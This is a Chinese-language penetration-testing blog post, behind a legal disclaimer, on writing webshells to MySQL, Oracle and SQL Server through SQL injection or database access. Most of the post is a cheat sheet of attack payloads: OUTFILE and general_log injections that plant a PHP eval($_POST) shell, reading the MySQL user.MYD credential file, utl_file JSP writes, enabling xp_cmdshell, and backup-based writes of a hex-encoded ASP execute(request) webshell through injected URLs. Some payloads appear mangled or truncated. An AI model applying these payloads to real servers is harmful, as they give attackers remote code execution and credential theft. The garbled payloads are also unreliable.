声明
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
我日常被毒打,下次请师傅们轻点,没玩过就玩一遍吧,目前只写了常见的3个数据库,如果后面又遇到其他的数据库在添加。
P.S.欢迎来GitHub找我玩
博客:www.ascotbe.com
MySql数据库
前提条件
数据库当前用户为root权限
知道当前网站的绝对路径
PHP的GPC为 off状态
写入的那个路径存在写入权限
注意点:
secure_file_priv参数说明
这个参数用来限制数据导入和导出操作的效果,例如执行LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数。
如果这个参数为空,这个变量没有效果
如果这个参数设为一个目录名,MySQL服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它
如果这个参数为NULL,MySQL服务会禁止导入和导出操作。这个参数在MySQL 5.7.6版本引入
如果遇到以下情况的话,使用SQL语句中的outfile
是无法成功的,但是写入日志的方法是可以成功的
show variables like '%secure%';
开启secure_file_priv
修改my.ini文件后需要重启MySql
secure_file_priv为NULL禁止导出文件secure_file_priv=""secure_file_priv指定地址限制导出地址只能在此secure_file_priv=“D:/”secure_file_priv为空可以导出到任意文件secure_file_priv=
查看是否有写入权限
select group_concat(user,0x3a,file_priv) from mysql.user;出现Y,这就代表你有文件权限,N就是没有
一、基于联合查询
注入点位置如下,后面使用的话会省略这段值
http://127.0.0.1/test/Less-2/?id=1
利用outfile方法
UNION ALL SELECT 1,2," phpinfo(); ?>" into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\test\123.txt" --
可以发现写入成功了,值得注意的是我们写入的是在test目录和123.txt中间没有用双斜杠,这样写入的文件会被过滤了,直接写到了WWW目录而不是test目录里面
利用dumpfile方法,这种方法可以写入16进制数据
UNION ALL SELECT 1,2," phpinfo(); ?>" into dumpfile "C:\\phpStudy\\PHPTutorial\\WWW\\test\123.txt" --
写入普通数据
把PHP内容写成16进制编码数据在写入
二、基于非联合查询
into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\123.txt" fields terminated by " phpinfo(); ?>" %23 --
三、基于log日志写shell法
先看看当前mysql下log日志的默认地址,同时也看下log日志是否为开启状态,记下来后面需要改回来的
show variables like '%general%';
然后开启日志
set global general_log = on;
设置日志写入位置
set global general_log_file = 'C:/2.txt';
写入日志
select '<?php eval($_POST['ascotbe']);?>';
修改为原来的路径
set global general_log_file='c:/xxxxx/xxxx'
关闭日志记录
set global general_log = off;
四、基于创建再导出的方法
连接test数据库
use test;
搜索并删除存在的ascotbe这个表
drop table if exists ascotbe;
创建这个表,在里边加个字段xxx
create table ascotbe(xxx text not null);
在里面写入一句话
insert into ascotbe(xxx) values ('<?php phpinfo(); ?>');
然后把这句话导出来
SELECT xxx FROM ascotbe INTO OUTFILE 'D:/2.txt';
然后删除表
DROP TABLE ascotbe;
五、低权限利用
如果你发现一个注入点,但是这个注入点只是一个普通权限没法写 shell
利用条件:
知道一个数据库用户账密
能进入到 phpmyadmin 下
一些默认文件路径位置没有更改
首先查看日志是否开启,然后看看日志文件路径根据这个路径推算出默认的user.MYD路径。一般默认的位置都是在 Mysql\data\mysql\user.MYD 这个路径下
show variables like '%general%';
然后把密码的文件导入到表里面,这边插入的表为ascotbe,这边有个点需要注意下导入文件的位置需要用\
可能会报错,需要替换成/
LOAD DATA LOCAL INFILE 'C:/phpStudy/PHPTutorial/MySQL/data/mysql/user.MYD' INTO TABLE ascotbe FIELDS TERMINATED BY '';
可以看到导入成功
Oracle数据库
首先是搭建环境,这边选着docker搭建,搭建好直接用navicat连接
这边测试使用的是DBA权限中的system账户
一、利用文件访问包写shell
首先创建我们得先建立一个ORACLE的目录对象指向XXXX,这边测试指向的路径为/home/oracle
create or replace directory IST0_DIR as '/home/oracle';
我们查看docker的路径,以及路径下的内容
如果后面写入失败了可以执行这条命令对这个目录进行授权下
grant read, write on directory IST0_DIR to system;
然后写入文件
declare isto_file utl_file.file_type; --定义变量的类型为utl_file.file_typebegin isto_file := utl_file.fopen('IST0_DIR', 'ascotbe.jsp', 'W'); --指定为IST0_DIR 目录下面的kj021320.jsp文件写操作 utl_file.put_line(isto_file, '这是一个一句话webshell'); --写入字符串 utl_file.fflush(isto_file); --刷缓冲 utl_file.fclose(isto_file); --关闭文件指针end;
执行成功
可以发现写入了shell
如果是真实环境的话我们并不能连接服务器,这样我们怎么知道shell是否写入成功呢?
declare isto_file utl_file.file_type; --如上 fp_buffer varchar2(4000); --没必要说了吧?begin isto_file := utl_file.fopen('IST0_DIR', 'ascotbe.jsp', 'R'); -- 指定为读操作 utl_file.get_line (isto_file , fp_buffer ); --读取一行放到 fp_buffer 变量里面 dbms_output.put_line(fp_buffer);--在终端输出结果看看 utl_file.fclose(isto_file); --关闭文件指针end;
执行即可读取我们写入的文件内容了
SqlServer数据库
首先搭建环境,当前使用的环境是SQL Server 2019,具体的搭建自行百度
拿shell的两大前提
有相应的权限db_owner
知道web目录的绝对路径
测试的时候默认使用sa进行连接
一、寻找绝对路径
报错信息
字典猜
旁站的目录
存储过程来搜索
读配置文件
前三种方法都是比较常见的方法。我们主要来讲第四种调用存储过程来搜索。
在mssql中有两个存储过程可以帮我们来找绝对路径:xp_cmdshell
和 xp_dirtree
二、利用xp_dirtree方法来寻找
先来看xp_dirtree
直接举例子
execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录execute master..xp_dirtree 'c:',1 --只列c:\目录execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件
列出所有的C盘文件、目录、子目录
只列出目录
列出文件和目录
注意
这边使用xp_dirtree
举例所列出的文件都是基于当前盘符当前目录的,不包括目录里面的文件,比如我们查看D盘内容
可以看到只有两个文件,可以论证之前说的
真实环境下的操作
当实际利用的时候我们可以创建一个临时表把存储过程查询到的路径插入到临时表中
CREATE TABLE tmp (dir varchar(8000),num int,num1 int);insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;
然后查询下表发现成功写入
三、利用xp_cmdshell方法来寻找
SQL Server 阻止了对组件
xp_cmdshell
的过程sys.xp_cmdshell的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用。
如果遇到xp_cmdshell
不能调用解决方法,这样我们就只能能执行CMD命令了,开启方面需要连接数据库才行。PS:如果都开启这种方法就不用写shell了直接执行CMD下载木马即可
;EXEC sp_configure 'show advanced options',1;//允许修改高级参数RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展RECONFIGURE;--
接下来我们先来看cmd中怎么查找文件,该条命令如果用powershell会报错
for /r d:\ %i in (2*.php) do @echo %i
需要建立一个表 存在一个char字段就可以了
http://xx.xx.xx.xx/test.aspx?id=1;CREATE TABLE cmdtmp (dir varchar(8000));http://xx.xx.xx.xx/test.aspx?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r d:\ %i in (2*.php) do @echo %i'
成功查询出结果
写入Webshell
一、利用xp_cmdshell命令写shell
上面说了xp_cmdshell这个存储过程可以用来执行cmd命令,那么我们可以通过cmd的echo命令来写入shell,当然前提是你知道web目录的绝对路径,如果不存在路径会报错。
http://xx.xx.xx.xx/test.aspx?id=1;exec master..xp_cmdshell 'echo ^"Jscript"%^>^"pass"],
写入成功
二、差异备份写shell
因为权限的问题,最好不要备份到盘符根目录
当过滤了特殊的字符比如单引号,或者 路径符号 都可以使用定义局部变量来执行。
http://xx.xx.xx.xx/test.aspx?id=1;backup database 库名 to disk = 'D:\bak.bak';--http://xx.xx.xx.xx/test.aspx?id=1;create table [dbo].[test] ([cmd] [image]);http://xx.xx.xx.xx/test.aspx?id=1;insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E);http://xx.xx.xx.xx/test.aspx?id=1;backup database 库名 to disk='D:\ascotbe.asp' WITH DIFFERENTIAL,FORMAT;--
这里测试只能进行备份,执行最后一句差异备份会报错,所以可以直接进行备份写shell,虽然文件会很大
可以看到shell是写进去了,就是文件有点大
三、log备份写shell
LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的,但是使用log备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式
//以下步骤省略http://xx.xx.xx.xx/test.aspx?id=1alter database 库名 set RECOVERY FULL;create table cmd (a image) ;backup log 库名 to disk = 'D:\test' with init ;insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) ;backup log 库名 to disk = 'D:\test\2.asp';
参考文章
https://www.cnblogs.com/springside-example/archive/2007/09/06/2529958.htmlhttps://blog.csdn.net/zyq357/article/details/104698157https://blog.csdn.net/junmail/article/details/4381287https://www.cnblogs.com/xuliangxing/p/6005154.htmlhttps://y4er.com/post/mssql-getshell/